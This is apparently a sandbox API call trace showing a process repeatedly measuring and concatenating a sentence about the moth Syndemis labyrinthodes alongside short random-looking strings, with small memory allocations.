[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="QC1IGII") returned 7
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="QC1IGII") returned 7
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="QC1IGII") returned 7
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="QC1IGII") returned 7
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="QC1IGII") returned 7
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="QC1IGII") returned 7
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x6939b0
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.436] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="L9SFQVBXSU44") returned 12
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.437] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x693998
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="8ZVUY19V") returned 8
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="8ZVUY19V") returned 8
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="8ZVUY19V") returned 8
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="8ZVUY19V") returned 8
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="8ZVUY19V") returned 8
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="8ZVUY19V") returned 8
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="8ZVUY19V") returned 8
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="8ZVUY19V") returned 8
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.438] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.438] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x6939e0
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.439] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Y17C582TFG87JK") returned 14
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x685cf0
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="T0LKI") returned 5
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="T0LKI") returned 5
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="T0LKI") returned 5
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.440] lstrlenA (lpString="T0LKI") returned 5
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="T0LKI") returned 5
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x693938
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.441] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="YA4MKDCDI4RDR") returned 13
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x693a88
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.442] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0046.443] lstrlenA (lpString="GWUTCQJS2SR") returned 11
[0046.443] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
